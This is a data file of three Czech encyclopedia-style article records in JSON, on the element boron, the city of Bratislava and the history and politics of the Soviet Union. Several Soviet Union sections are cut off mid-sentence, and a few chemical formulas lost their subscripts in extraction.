{ "title": [ "Základní fyzikálně-chemické vlastnosti.", "Výroba.", "Výskyt v přírodě.", "Biologický význam.", "Využití." ], "section_level": [ "1", "1", "1", "2", "1" ], "content": [ "Vyskytuje se ve dvou modifikacích – amorfní a kovové. Kovová modifikace patří mezi velmi tvrdé látky – dosahuje hodnoty 9,3 v Mohsově stupnici tvrdosti.", "Elementární bor lze připravit redukcí oxidu boritého kovovým hořčíkem nebo hliníkem. Pro zisk velmi čistého polokovu se využívá redukce vodíkem. Příprava čistého boru je náročná a obtížná procedura. Čistý bor se v praxi používá minimálně. Používá se také elektrolytická výroba boru, a sice elektrolýza roztavených boritanů", "Elementární bor se v přírodě prakticky nevyskytuje, lze se s ním setkat pouze ve sloučeninách. Největší světová naleziště surovin boru leží v USA, Peru, Tibetu a Turecku. Sloučeniny boru jsou v malém množství obsaženy i v mořské vodě (v koncentraci přibližně 5 mg/l) a v některých minerálních pramenech. Kyselina boritá je obvykle přítomna v sopečných plynech, z nichž může být získávána. Z potravin je přítomen především v ovoci, zelenině, luštěninách a oříškách.", "V rostlinách je bor mikrobiogenním prvkem. Jako ostatní minerály je přijímán z vody v půdě, ale jako jediný nikoli ve formě iontů, ale jako elektroneutrální kyselina boritá (HBO). Bor se váže na \"cis\"-hydroxylové (diolové) skupiny pektinu rhamnogalakturonanu II, což je polysacharid důležitý pro stavbu buněčné stěny rostlin. Pravděpodobně ovlivňuje vlastnosti buněčné stěny a především její pružnost a s tím související schopnost růst. To je důležité i u rychle rostoucí pylové láčky nebo u kořenových špiček a právě u nich se nedostatek boru u rostlin projevuje nejdříve. Pylové láčky nejsou bez boru schopné normálního růstu. Živočichové zpravidla nedostatkem boru netrpí, ale i u nich hraje důležitou roli v řadě fyziologických procesů. Při krmení kuřat či krys potravou bez boru dochází k poruchám ve vývoji kostí, metabolismu minerálních látek, vývoji mozku, funkci imunitního systému či uvolňování inzulinu. Nejvýraznější následky nedostatku boru se projevují při současném nedostatku vápníku či hořčíku.", "Bor se využívá ve sklářství jako přísada do skelných vláken a borokřemičitanových skel pro dosažení vysoké tepelné odolnosti, dále v keramice k výrobě emailů a glazur. Uplatňuje se při výrobě mýdel a detergentů, v metalurgii neželezných kovů a žáruvzdorných materiálů. Využívá se i v jaderné energetice. Jeho jedinečné jaderné využití je založeno na velkém účinném průřezu izotopu B vůči tepelným neutronům a je výhodné i proto, že produkty reakce jsou stálé neradioaktivní Li a He. Takto se využívá bor, podobně jako beryllium, k výrobě řídicích tyčí v reaktorech a neutronových zrcadel v jaderných reaktorech. Bor je jeden z mála prvků, které přicházejí v úvahu jako palivo pro jadernou fúzi. Bor a jeho sloučeniny barví plamen intenzivně zeleně. Tento jev se uplatňuje při přípravě směsí pro pyrotechnické účely a v analytické chemii slouží jako důkaz přítomnosti boru v analyzovaném vzorku. Významné místo patří sloučeninám boru ve sklářském a keramickém průmyslu. Tzv. borosilikátová skla se vyznačují vysokou tepelnou odolností a pod označením Pyrex (v Česku Simax) slouží k výrobě chemického i kuchyňského nádobí. V keramice nalézá bor uplatnění především jako složka glazur. Směs neodymu, železa a boru je využívána pro výrobu permanentních NdFeB magnetů s vynikajícími vlastnostmi." ] }

{ "title": [ "Název.", "Přírodní poměry.", "Podnebí.", "Dějiny.", "Počátky vzniku města.", "Uherské období.", "Od poloviny 19. století do roku 1918.", "Společný stát Čechů a Slováků.", "Památky.", "Bratislavský hrad.", "Devínský hrad.", "Okresy a městské části.", "Ekonomika.", "Turistika.", "Kultura.", "Galerie.", "Divadla.", "Muzea.", "Hudba.", "Kina.", "Církevní stavby.", "Mezinárodní organizace.", "Vzdělání a věda.", "Doprava.", "Sport." ], "section_level": [ "1", "1", "2", "1", "2", "2", "2", "2", "1", "2", "2", "1", "1", "1", "1", "2", "2", "2", "2", "2", "1", "1", "1", "1", "1" ], "content": [ "Nejstarší známý název města je \"Braslavespurch\" (907). Další zachovaná pojmenování jsou \"Brezalauspurch\", \"Poson\" (1002), \"Brezesburg\" (1042), \"Bosenburg\" (1045), \"Brecesburg\" (1048), \"Bresburc, Brezisburg, Preslawaspurch\" (1052); latinsky \"Posonium\", řecky \"Istropolis\", maďarsky \"Pozsony\", německy \"Pressburg (dříve Preßburg), \"čínsky\" 布拉迪斯拉發 \"; z toho vznikla pojmenování \"Prešpurk\" či \"Prešporok\". V letech 1830 až 1840 používali přívrženci Ľudovíta Štúra následující formy: Břetislav a později: Břetislava, po kodifikaci nové slovenštiny v roce 1843 Braťislava (nad Dunajom); případně Tatranská Vratislava (z Braslaveburg = Vratislavův hrad). Formu Břetislav(a) v roce 1837 zavedl Pavel Josef Šafařík ve svém díle \"Slovanské starožitnosti\". V historickém názvu \"Brecisburg\" (1042) viděl slovanskou formu Bracislaw/Brecislawa a mylně předpokládal, že město založil český kníže Břetislav I. Po vzniku Československa vznikly spory o novém jménu města. Slovenští Američané přišli s názvem „Wilsonovo mesto“ po tehdejším prezidentovi USA, Woodrow Wilsonovi. Německá a maďarská většina obyvatel města podporovaly zachování dosavadních jmen \"Pressburg\" a \"Pozsony\". Vyskytovalo se i označení \"Brecislava\". Až 6. června 1919 získalo město oficiální název \"Bratislava\". Slangově je označována jako \"Blava\", zejména lidmi, kteří nepochází z Bratislavy.", "Celé město se rozkládá v severozápadní části Podunajské nížiny, v předhůří Malých Karpat, nedaleko od soutoku Moravy s Dunajem. Právě Malé Karpaty představují část jen málo dotčené přírody, do metropole zasahující jako klín. Dnes jsou upravené jako velký lesopark. Kolem Dunaje se nachází také velké množství slepých ramen s lužními lesy a nivami, některé z nich byly rekultivovány a přebudovány jako parky. 46,8 km2 z rozlohy města (110 m2 na osobu) tvoří právě příroda. Rovinatý charakter krajiny umožnil rozšíření Bratislavy ze středověkého města na moderní metropoli, rozkládající se na obou stranách veletoku Dunaje, se současnou rozlohou 367 km2. Omezení růstu jsou a byla tedy spíše politického charakteru (státní hranice) – západním směrem se rozkládá od roku 1918 Rakousko a jižním pak Maďarsko. Bratislava je tak jediné hlavní město na světě, které hraničí se dvěma státy zároveň.", "Poloha Bratislavy v severozápadní části Podunajské nížiny z ní činí jedno z měst s nejteplejším podnebím v celém Slovensku. Okolí města je zemědělsky intenzivně využíváno a patří k nejúrodnějším částem země. Průměrná roční teplota je zde okolo 9,9 °C, v červenci dosahuje 21 °C, v lednu pak −1 °C. Sluneční svit zde činí průměrně 2447 hodin ročně, úhrn srážek pak 401 mm za rok.", "", "Okolí Bratislavy bylo osídleno již v dobách neolitu, souvislé osídlení je však datováno až z období let 400 př. n. l. až 50 př. n. l., tehdy tu žili Keltové a měli zde dokonce oppidum (opevněné sídliště) s vlastní mincovnou. Ty nahradili později Germáni; středem řeky poté procházela hranice Římské říše. Po zániku Říma následovalo stěhování národů a do dnešní Bratislavy přišli Slované a také Avaři. V 7. století se město stalo součástí Sámovy říše a později Nitranského knížectví. V 9. století bylo připojeno k říši Velkomoravské.", "Po tomto období se město stalo na tisíc let součástí uherského státu. Za vlády prvního uherského krále Štěpána I. došlo k rozvoji, hlavně náboženskému; budovaly se nové kostely a vznikl i kamenný hrad, tehdy jeden z nejlépe opevněných v celém Uhersku. Stále ještě přetrvával význam města z časů Velké Moravy. Bratislava se jako \"Poson\" či později \"Pozsony\" následně vyvíjela jako provinční uherské město. V letech 1241 a 1242 na Bratislavu během svých nájezdů zaútočili Mongolové, avšak město ani hrad nedobyli. Zpustošení okolí města však vedlo k přísunu německých kolonistů a tím pádem i k rozšiřování němčiny. Koncem 13. století (1291) udělil král Ondřej III. Bratislavě městská práva, v roce 1436 udělil král Zikmund Lucemburský městu vlastní znak. V roce 1465 založil Matyáš Korvín Academii Istropolitanu, první univerzitu na území Uherska. Bratislava takto byla podpořena vzhledem k tomu, že ji a její obyvatelstvo předtím zdecimovaly vojenské boje a povodně. Velký nárůst jejího významu pro celé Uherské království však přišel spolu s vpádem Osmanů do Uherska. Budín totiž padl a Osmanská říše jej zabrala na více než sto let. Důležité instituce tak musely být přesunuty právě do Bratislavy a ta se mezi lety 1536–1784 stala hlavním městem. Korunováno zde bylo několik králů a sídlil tu také ostřihomský arcibiskup. Při morové epidemii roku 1711 tu zahynulo 3 860 lidí. Na jejich počest byl vybudován sloup Nejsvětější Trojice. Následovalo období všestranného rozvoje a rozkvětu. Díky pozici metropole Uherska se v Bratislavě budují nové budovy, daří se obchodu i řemeslům. Během osvícenské vlády Marie Terezie tak došlo roku 1775 ke zbourání městských hradeb, vznikly první parky. O dalších osm let později pak Josef II. přikázal přestěhovat hlavní město Uherska zpátky do Budína a korunovační klenoty z hradu do Vídně. Význam celé Bratislavy tak velmi poklesl. I napoleonské války zanechaly ve městě svoji stopu. Nejprve přes Bratislavu táhla vojska ruská (1800), o pět let později pak i síly francouzského císařství, a to až do podepsání Prešpurského míru 26. prosince 1805. Roku 1809 však město Napoleonova vojska opět obléhala i bombardovala; následně však bylo podepsáno příměří. O tři roky později pak vyhořel i hrad nad městem; tehdy se zde nacházela vojenská kasárna a díky neopatrnosti vojáků při zacházení s ohněm vypukl rozsáhlý požár. Hrad byl nakonec přebudován až teprve v 60. letech 20. století.", "V polovině 19. století však i sem dorazil rozvoj techniky. Od roku 1840 bylo město se Svätým Jurem spojené koněspřežnou dráhou. Rozvíjely se také buditelské aktivity mezi Slováky a město se stalo centrem slovenského národního obrození. V revolučním roce 1848 sehrála Bratislava poměrně významnou úlohu; byly tu přijaty tzv. březnové zákony, které zrušily poddanství v Uhersku. Dbe 11. dubna je podepsal a vyhlásil císař Ferdinand I. Dobrotivý v Primaciálním paláci. Při samotné revoluci se Bratislava postavila na stranu povstaleckých Uhrů a proti Vídni; následně však na podzim byla obsazena vojsky Windischgrätze a na jaře následujícího roku i ruským vojskem. V květnu roku 1849 se konal soud s účastníky revoluce. Stovky obžalovaných byly odsouzeny k vězení, avšak 13 vedoucích povstalců bylo popraveno. Postupně se měnilo i postavení Bratislavy. Od konce 40. let do roku 1859 byla sídlem tzv. bratislavského distriktu (nejdříve vojenského a potom civilního). Od roku 1871 ztratilo město soudní pravomoci. V 70. letech se naopak stala Bratislava tzv. municipálním městem, což byl nový statut, který vznikl z měst královských. V čele města tak nyní stál župan. Technický pokrok postupoval mílovými kroky. V letech 1848–1850 se objevila železnice do Vídně a Budapešti. Následovala plynofikace osvětlení v roce 1856, krátce nato, co byla uvedena do provozu druhá plynárna. Od roku 1873 přibylo ve městě další kvalitní železniční spojení, a to do Trnavy a zbytku Slovenska – původní koňská železnice byla přebudována na parní. 80. léta pak přinesla elektrifikaci veřejného osvětlení, zavedení vodovodu a otevření Městského divadla (dnes jedna z budov SND). V roce 1891 pak vznikl první most přes Dunaj (Starý most, tehdy most Františka Josefa). V této době (přesněji od 27. srpna 1895) vzniká také i elektrifikovaná tramvajová síť o rozchodu 1000 mm. Jedná se o jeden z prvních takových provozů na území bývalého Československa. O čtrnáct let později (od 19. července 1909) pak následoval trolejbusový provoz; opět se jednalo o jedno z prvních měst v Rakousko-Uhersku, kde byl zaveden tento druh dopravy. V roce 1900 tu žilo 65 000 obyvatel.", "Dne 12. září 1918 vzniká Slovenská národní rada s centrem právě v Bratislavě a působností ve městě a jeho okolí. 30. října, Martinskou deklarací, se připojily Horní Uhry k Čechám, Moravě a Slezsku a zrodilo se Československo. Kvůli většinově německému a maďarskému obyvatelstvu (Slováci tvořili jen 20% populace) zde bylo silné volání po svobodném městu pod záštitou Společnosti národů. Ta ale podpořila územní nároky československé vlády. 1. ledna 1919 bylo město bez většího odporu obyvatelstva vojensky obsazeno a začleněno do Československa. Za první republiky vznikalo mnoho nových budov, přestěhovaly se sem některé úřady. Kolem roku 1927 tu žilo již 128 000 lidí, Bratislava byla označována jako jedno z velkoměst. Pro své strategické umístění, moderní infrastrukturu a přístup k Dunaji se ve stejný rok stala také i městem zemským, hlavním městem Krajiny Slovenské a Západoslovenského kraje. V té době se do tváře města zapsali také čeští stavebníci, stavitelé, firmy ale i avantgardní architekti: Ernst Wiesner, Jan Vaněk, Vladimír Karfík ale především proslulý Bohuslav Fuchs se svým legendárním obytným domem na Hviezdoslavově náměstí (1935).. Od 14.března 1939 bylo hlavním městem tzv. Slovenského štátu. Město bylo osvobozeno 4.dubna 1945 v rámci bratislavsko-brněnské operace. Rozvoj města pokračoval ale i dále; v roce 1946, pouhý rok po válce, došlo k jeho rozšíření o tehdy samosprávné obce Devín, Dúbravka, Lamač, Petržalka, Prievoz, Rača a Vajnory. V roce 1968 byla Bratislava ustanovena hlavním městem Slovenska v rámci socialistické federace. V druhé polovině 20. století došlo ve městě k rychlé výstavbě sídlišť, kterými jsou například Petržalka, Ružinov, Karlova Ves a jiné, postavily se moderní budovy (Slovenský rozhlas) apod. Roku 1971 se severní a východní hranice města opět posunuly a připojily se obce Čunovo, Devínska Nová Ves, Jarovce, Podunajské Biskupice, Rusovce, Vrakuňa a Záhorská Bystrica. Bratislava se stala druhým největším městem ČSSR a po rozpadu Československa pak od roku 1993 hlavním městem nezávislého Slovenska.", "Většina památek se nachází v historickém jádru města. Stará radnice je komplex budov vybudovaných ve 14. a 15. století a dnes je sídlem městského muzea. Michalská brána je jediná brána z původních středověkých městských opevnění a je jednou z nejstarších budov ve městě. Univerzitní knihovna, vybudovaná v roce 1756, byla používaná uherským sněmem (parlamentem) v letech 1802–1848. Městské centrum je charakterizováno mnohými paláci v barokním stylu. Grasalkovičův palác, vybudovaný okolo roku 1760, je dnes sídlem slovenského prezidenta a slovenská vláda má své sídlo v bývalém arcibiskupském paláci. V Primaciálném paláci, dnešním sídlem primátora, byl v roce 1805 podepsán prešpurský mír. K známým sakrálním stavbám patří Katedrála svatého Martina, vybudovaná v 13.–16. století, která byla v letech 1563–1830 korunovačním kostelem uherských králů. Františkánský kostel z 13. století je nejstarší zachovalý kostel v Bratislavě a byl místem rytířských ceremonií. Kostel svaté Alžběty Uherské, taktéž známý jako \"Modrý kostelík\", je vybudován v secesním stylu. Kuriozitou je podzemní (předtím nadzemní) židovský hřbitov při vjezdu do tramvajového tunelu na nábřeží, kde je i pochován rabín Chatam Sofer. Jeden ze dvou vojenských hřbitovů je Slavín, který byl vybudován v roce 1960 na památku vojáků Rudé armády, kteří padli při osvobozování Bratislavy v roce 1945.", "Jeden ze symbolů města je Bratislavský hrad, tyčící se na plošině 85 metrů nad Dunajem. Hradní vrch byl obýván od eneolitu a byl keltské oppidum, část starověké římské hranice, zpevněné sídlo Slovanů a hospodářské, politické a vojenské středisko Velké Moravy. Kamenný hrad byl vybudován v 10. století, když oblast byla součástí Uher, přestavěn v 15. století na gotický, v 16. století na renesanční a v 17. století na barokní styl. Přes vládu Marie Terezie byl hrad sídlem v uherské části Habsburské monarchie. V roce 1811 hrad vyhořel do základů a zůstal v ruinách až do 50. let 20. století, když byl rekonstruován v letech 1953–1968 většinou v barokním stylu podle plánů D. Martinčeka a A. Piffla. V roce 1961 byla tato stavba vyhlášena Československou národní kulturní památkou. V současné době patří k památkám pouze Slovenské republiky.", "Ruiny hradu Devín se nacházejí v stejnojmenné městské části Devín, na skále nad soutokem řeky Moravy s Dunajem, při hranicích Slovenska a Rakouska. První písemná zmínka o Devínu je z roku 864, kde je hradiště poprvé připomínáno jako \"Dowina\". Druhá polovina 9. století je především spojována s jménem knížete Rastislava, který tu dal vybudovat mohutnou pevnost, ale na historii Devína se podepsali též knížata Mojmír a Svatopluk. Díky strategické poloze byl klíčovým hradem na hranicích Velké Moravy a později raného uherského státu. V roce 1809 byl hrad zničen Napoleonovou armádou a od té doby je symbolem slovenské a slovanské historie.", "Bratislava se dělí na 5 okresů (jedná se o okresy, řazené mezi celostátní), a ty dále na 17 městských částí.", "Bratislava spolu s Bratislavským krajem se řadí mezi nejbohatší oblasti celého Slovenska; průměrný HDP na obyvatele zde dosahuje 176 % průměru EU; je to nejbohatší region zemí EU, které byly přijaty v roce 2004, druhý je Praha. Je zde nejnižší nezaměstnanost v republice a mnoho lidí ze zbytku země sem cestuje za prací. Sídlí tu velké množství významných firem, od telekomunikačních operátorů až po průmyslové podniky. Na jih od města se nachází rafinerie Slovnaftu, která má pro celé Slovensko velký význam, nedaleko od řeky Moravy severozápadním směrem od centra se zase rozkládají závody \"Volkswagen Slovakia\". Na okrajích metropole se nacházejí tzv. business centra, kde se koncentrují například softwarové společnosti. V Bratislavě sídli Mezinárodní visegrádský fond (International visegrad fund). Ve středu města se provozovny firem koncentrují v nových administrativních a obchodních komplexech (například \"Aupark\" či \"Polus City Center\"). Přibývají zde rovněž i kancelářské plochy a staví se výškové budovy (například Tower 115, dnes druhá nejvyšší budova ve městě, plánují se ale i další), soustředěn je zde také i bankovní sektor. Jedním z míst, kde právě vznikají kancelářské prostory, je nábřeží Dunaje nedaleko centra a projekt Eurovea, dále pak trochu vzdálenější Mlynské nivy poblíž Ružinova. Výstavba nových kancelářských budov koresponduje s nárůstem poptávky v oblasti služeb a s hospodářským růstem Slovenska v prvním desetiletí 21. století. K dnešnímu dni (2013) stojí v Bratislavě více než 40 výškových budov a další jsou buďto ve výstavbě, nebo se ještě plánují.", "Již od konce 90. let 20. století a hlavně pak po vstupu Slovenska do EU v roce 2004 se stává Bratislava jedním z turisty navštěvovaných měst. Nemůže se svojí velikostí i významem měřit sice s okolními, jako je například Vídeň či Budapešť, zato však má své jedinečné pamětihodnosti, které náležitě zdůrazňuje svou prezentací v zahraničí. Jen v roce 2006 navštívilo Bratislavu 686 000 turistů, což tak metropoli činí nejnavštěvovanějším místem v zemi. Návštěvníci Bratislavy jsou kromě domácích Slováků (zhruba třetina všech turistů, tj. 232 000) též i Britové, Němci, Japonci, Američané, Rakušané, Poláci, Španělé, Italové, Maďaři, Izraelci a Češi (z kterých právě Češi, Němci a Britové tvoří největší počet). Mnohdy pokračují z Bratislavy ještě do dalších měst a turistických destinací. Mnoho z nich přijíždí také na silvestrovské oslavy na konci každého roku, cestovní kanceláře v různých zemích pořádají do Bratislavy zájezdy právě v době přelomu roku. Díky turistice se daří nejen centru města, které je na něm do velké míry závislé, ale také pohostinství a bratislavským hotelům. Ty však ale na stále rostoucí nápor nejsou připraveny, a tak jejich kapacity nepostačují. Budují se proto hotely nové. Bratislava na podporu turismu používá speciální turistické logo se sloganem „Little Big City“ (\"Malé velké město\"), v barvách města (bílá a červená). Je využíváno na propagačních materiálech, či na nátěru některých vozidel MHD.", "", "Na nábřeží v centru města v budově bývalých Vodních kasáren sídlí Slovenská národní galerie, vrcholná slovenská instituce v oblasti uměleckých sbírek, existující již od roku 1948. Kontroverzní dostavba budovy byla provedena v 60. letech podle návrhu V. Dědečka a od roku 2007 je plánována celková rekonstrukce Významné sbírky vlastní Galérie mesta Bratislavy, která sídlí v Mirbachově paláci (středoevropské umění baroka a grafický kabinet) a v Pálffyho paláci (gotické umění, středoevropské umění 19. a 20. století, moderní slovenské umění). Nejvýznamnějšími bratislavskými galeriemi moderního umění jsou Galerie Nedbalka, zaměřená na slovenské umění od konce 19. století do současnosti a připomínající svou vnitřní dispozicí Guggenheimovo muzeum v New Yorku, a největší slovenská galerie světového moderního umění Danubiana Meulensteen Art Museum, postavená v letech 2000–2014 na dunajském poloostrově v blízkosti vodního díla Čunovo.", "Jako hlavní město je Bratislava domovem Slovenského národního divadla, hlavní operní a činoherní scény v zemi. Divadlo sídlí v současné době ve třech budovách. Historický operní dům se nachází na Hviezdoslavově náměstí v centru města. Dne 14. dubna 2007 byla operní a baletní představení přesunuty do nové moderní budovy na břehu Dunaje. Kromě Slovenského národního divadla působí v Bratislavě i další divadelní scény, jako například \"Divadlo Astorka Korzo '90\" či \"Divadlo Aréna\".", "Nedaleko Mostu SNP na Vajanského nábřeží se nachází Slovenské národní muzeum. To se zabývá dějinami Slovenska a slovenského národa. Na historii Bratislavy se specializuje Mestské muzeum v Bratislave (založené 1868). Další muzea jsou zasvěcena různým oborům. Například u hlavního nádraží se nachází Muzeum dopravy, v historickém jádru metropole lze nalézt i Muzeum uměleckých řemesel a muzea hodin, zbraní či farmaceutické muzeum. Některá muzea mají expozice o osobnostech, jako jsou například Ján Jesenský, Arthur Fleischmann, Johann Nepomuk Hummel a Milan Dobeš. Pro zdejší židovskou komunitu má význam Muzeum židovské kultury, umístěné v Židovské ulici.", "Hlavními událostmi v hudbě bývají v Bratislavě, stejně jako i v jiných městech festivaly. Jedná se například o Bratislavské hudební slavnosti, festival vážné hudby či Bratislavské jazzové dny, anebo mezinárodní jazzový festival. V hlavním městě v budově Reduty sídlí také i Slovenská filharmonie. Z Bratislavy pocházejí hudební skladatelé jako Ivan Parík, Ilja Zeljenka, Vladimir Godár, Peter Machajdík, Martin Burlas a Peter Zagar.", "Mnoho obyvatel Bratislavy též navštěvuje kina; po roce 1989 se začaly rozvíjet tzv. multiplexy, tj. velkokina s mnoha sály, které jsou většinou součástí obchodních a kulturních center. Mezi takové lze zařadit například multikino v Polus City Centru ve Vajnorské ulici, dále například Palace Cinemas v centru Aupark a též v centru Eurovea. Ke starším kinům patří například \"Hviezda, Tatra, FK Mladosť, Kino Café\" a další.", "Mnoho obyvatel Bratislavy jsou římskokatoličtí křesťané. Proto také byly budovány ve městě mnohé kostely, hlavně pak v 19. století. To samozřejmě ostře kontrastuje se století dvacátým, které bylo – hlavně ve své druhé polovině – ve znaku potlačování víry. Až teprve na konci 20. století vznikly náboženské stavby nové, paradoxně v okrajových částech města, tj. na sídlištích. V roce 2003 navštívil Bratislavu papež Jan Pavel II., na setkání přišlo až 200 000 lidí. Mezi nejstarší z kostelů a též i bratislavských památek patří Františkánský kostel, gotická stavba z 13. století. Zato mnohem významnější je již Katedrála svatého Martina, kde bývali korunováni uherští králové. Před druhou světovou válkou žila v Bratislavě i menšina Židů. Těm byla vybudována synagoga v 20. letech 20. století; jednalo se o stavbu s orientálními prvky, což bylo u synagog v té době typické. Synagoga byla zdemolována v souvislosti s výstavbou Nového mostu.", "Bratislava je sídlem středoevropské centrály Mezinárodní finanční korporace (IFC) – organizace Světové banky. Rovněž zde sídlí Rozvojový program OSN pro Evropu a Společenství nezávislých států (UNDP Europe). Od roku 2009 v domě OSN na Grösslingově ulici sídlí také Populační fond OSN pro Evropu a západní Asii.", "V Bratislavě se nachází několik veřejných vysokých škol a univerzit. K nejvýznamnějším z nich patří zejména Univerzita Komenského (UK), dále Slovenská technická univerzita (STU), či Ekonomická univerzita v Bratislave (EU). Vědecké zázemí v Bratislavě zajišťují především tamní univerzity. Mimoto některé bratislavské průmyslové podniky mají vlastní výzkumná střediska. Bratislava jako jedna z mála evropských metropolí nemá vlastní observatoř či planetárium, a to i přesto, že na severu města jsou dobré podmínky na pozorování noční oblohy; nejbližší stavby tohoto typu se nacházejí desítky kilometrů daleko – observatoř v Modře, což je zhruba 30 km a planetárium v Hlohovci zhruba 70 km od hlavního města. Jediným zařízením, které tak může současným bratislavským astronomům sloužit, je astronomický úsek PKO, kde se konají různé přednášky o astronomii a sledování noční oblohy.", "Bratislava je významnou dopravní křižovatkou; vedou sem čtyři dálnice (D1 (směr Žilina), D2 (směr Brno)), mnohé železniční spoje, na mezinárodním letišti M. R. Štefánika přistávají letadla z mnohých zemí i ze Slovenska. Na řece Dunaj existuje čilá říční plavba, a to jak osobní, tak i nákladní. V provozu je tramvajová síť (rozchod 1000 mm), nadzemní železniční dráha S (11 stanic mimo centra), trolejbusová i autobusová doprava. Dlouhou dobu se uvažovalo o dostavbě rozestavěného podzemního metra, nyní se ale připravuje stavba tzv. nosného systému MHD – rychlodrážní tramvaje. Na severovýchodním okraji města se nachází Letiště M. R. Štefánika. V roce 2007 odbavilo přibližně 2,02 milionu cestujících.", "V Bratislavě se již tradičně hrají různé sporty. Konají se zde významné sportovní akce, například v roce 2005 finále Davis Cupu; v roce 2011 se zde konalo mistrovství světa v ledním hokeji (spolu s Košicemi). Z toho důvodu byl rekonstruován zimní stadion Ondreje Nepely. K nejrozšířenějším sportům patří ale fotbal, který zde reprezentují hned čtyři týmy z vrcholné slovenské fotbalové Corgoň ligy. Nejznámějším týmem je ŠK Slovan Bratislava, založený roku 1919, v roce 1969 vyhrál PVP. Jeho stadion se nachází na Tehelném poli, kde se v 80. letech a i na za začátku 90. let 20. století konaly federální duely mezi Prahou a Bratislavou. Mezi další extraligové kluby se pak řadí FK Inter Bratislava založený roku 1945 a FC Artmedia Bratislava, která je klubem zcela nejstarším, již z roku 1898. Jejich domácí stadion je v Petržalce. Hraje se ale také i basketbal, házená a volejbal; jak mužský (Inter), tak i ženský (Slovan) basketbalový tým se účastní nejvyšší slovenské soutěže. Hlavní arénou, která poskytuje zázemí těmto týmům, je Inter Arena Pasienky. Vhodné podmínky má i kanoistika, nalézá se zde množství klubů zaměřených na vodní sporty." ] }

{ "title": [ "Geografie, klima a prostředí.", "Dějiny.", "Vznik SSSR.", "Období stalinismu.", "Sovětský svaz za druhé světové války.", "Poválečné úspěchy.", "Studená válka.", "Zánik Sovětského svazu.", "Zahraniční politika.", "Organizace.", "Politický systém.", "Perestrojka.", "Administrativní dělení.", "Ozbrojené síly.", "Právní systém.", "Hlavní představitelé.", "Sovětský kosmický program.", "Ekonomika.", "Doprava.", "Obyvatelstvo.", "Etnické skupiny.", "Jazyky.", "Náboženství.", "Společnost.", "Vzdělávací systém.", "Media.", "Kultura.", "Sport.", "Životní prostředí." ], "section_level": [ "1", "1", "2", "2", "2", "2", "2", "2", "1", "2", "1", "2", "2", "2", "2", "1", "1", "1", "2", "1", "2", "2", "2", "1", "2", "2", "1", "2", "1" ], "content": [ "S rozlohou 22 402 200 km byl Sovětský svaz největším státem na Zemi, tento status zůstal Rusku. Pokrýval šestinu suchozemského povrchu, jeho velikost byla srovnatelná s rozlohou Severní Ameriky. Evropská část představovala čtvrtinu území státu a byla kulturním a ekonomickým centrem. Východní část v Asii dosahovala k Tichému oceánu a Afghánistánu na jihu. S výjimkou některých oblastí ve Střední Asii byla mnohem méně obydlená. Táhl se od východu na západ přes vzdálenost 10 000 kilometrů 11 časovými pásmy a přes 7 200", "", "Po říjnové revoluci roku 1917 se ocitlo Ruské impérium v chaosu. Zatímco existovala již prozatímní vláda se snahou uspořádat demokratické volby, v Petrohradu bolševici ustanovili okamžitě první sovět a po návratu Lenina z exilu začali postupně získávat stále více moci. Na podzim rudá vláda anulovala dluhy Ruska. Jako obrannou složku zřídili komunisté Rudou armádu. Rovněž dalšími dekrety byla zajištěna odluka církve od státu. V lednu 1918 byla vyhlášena Ruská sovětská federativní socialistická republika (RSFSR). 3. března téhož roku podepsali v Brest-Litevsku zástupci sovětského Ruska separátní mírovou smlouvu (Brestlitevský mír) ukončující účast Ruska v", "Poté, co roku 1924 zemřel Vladimir Iljič Lenin, vlády se chopil Josif Stalin. Ten vyhlásil realizaci mnohých velkolepých plánů. Ženy i muži byli (do jisté míry) zrovnoprávněni, zahájena byla kolektivizace a industrializace. Ke vzdělání, byť ovlivněnému socialistickou ideologií, získali přístup všichni. Rozšířila se i lékařská péče a likvidovány tak začaly být mnohé choroby, jako například cholera, malárie apod. Jedním z nejznámějších plánů budování socialistického státu se stala násilná kolektivizace zemědělství, kdy zemi po následných chybách v celém zemědělském sektoru postihl hladomor, často vyvolaný jako donucovací nástroj proti odpůrcům kolektivizace. V gulazích na Sibiři zahynuly miliony odpůrců tehdejšího", "Sovětský svaz jednal před vypuknutím druhé světové války nejprve s Francií a zejména Velkou Británií. Když se však ukázalo, že Velká Británie není ochotna podporovat jeho expanzi vůči státům spadajícím dříve pod vládu carského impéria, obrátil se na nacistické Německo, s nímž si nakonec dohodl rozdělení sfér vlivu v rámci paktu Ribbentrop-Molotov. Podílel se na válce proti Polsku, které bez vyhlášení války přepadl 17. září, aby zabral východní polovinu této země, a též si zajistil kontrolu nad Baltským mořem, když nejprve přinutil ke spolupráci a poté násilím zabral Estonsko, Litvu a Lotyšsko. Od samého počátku války se vůči obyvatelstvu dobytých a obsazených zemí rozsáhle dopouštěl válečných zločinů a zločinů proti lidskosti. Sovětský svaz válčil za druhé světové války s Finskem, a to hned dvakrát (nejprve v letech 1939 a 1940 – tzv. zimní válka, později pak v letech 1941 až 1945 - tzv. pokračovací válka). Za přepadení Finska v roce 1939 byl vyloučen ze Společnosti národů. Sovětský svaz", "Německý wehrmacht utrpěl 80 % veškerých vojenských ztrát při bojích na východní frontě. Rudá armáda osvobodila střední a východní Evropu. Díky tomuto vítězství, za které zaplatil 26 miliony mrtvých, zničenou velkou částí země a ekonomiky, získal SSSR ohromnou prestiž a komunisté byli v určitém okamžiku vnímáni jako zachránci lidstva před nacismem. Nadšení však rychle vystřídalo zklamání, neboť Sovětský svaz si osvobozené země podrobil a udělal", "Sovětský svaz soupeřil s USA v kosmickém výzkumu (vyslání prvního člověka do vesmíru), ideologicky (souboj – podle slov mnohých sovětských politiků – socialismu a kapitalismu, či –", "V tomto boji byl ovšem SSSR ekonomicky postupně vyčerpáván. Hospodářský růst nedosáhl takových čísel, jako tomu bylo v USA. Vrchol pak nastal hlavně v 80. letech, kdy politikou cíleného zbrojení dokázal americký prezident Ronald Reagan donutit Sovětský svaz vynakládat na zbrojení až desítky procent HDP země, zatímco generálové postupně prohrávali v Afghánistánu. To se tedy následně projevilo ekonomickým poklesem a spolu s nedostatky socialistické centrálně plánované ekonomiky úpadkem. V dubnu 1986 zasáhla Černobylská havárie, která prokázala neschopnost a hlavně nepřipravenost klíčových míst a orgánů čelit události takového rozsahu, byť země jako samotná měla být oficiálně", "Konečná politická rozhodnutí v letech 1925-1953 učinil vždy Stalin, ale jinak byla sovětská politika vyhlašována komisí pro zahraniční politiku Ústředního výboru KSSS nebo nejvyšším orgánem strany - politbyrem. Operace mělo na starosti oddělené ministerstvo zahraničí, které bylo do roku 1946 známé jako Lidový komisariát pro zahraniční záležitosti či \"Narkomindel\". Mezi nejvlivnější mluvčí patřili 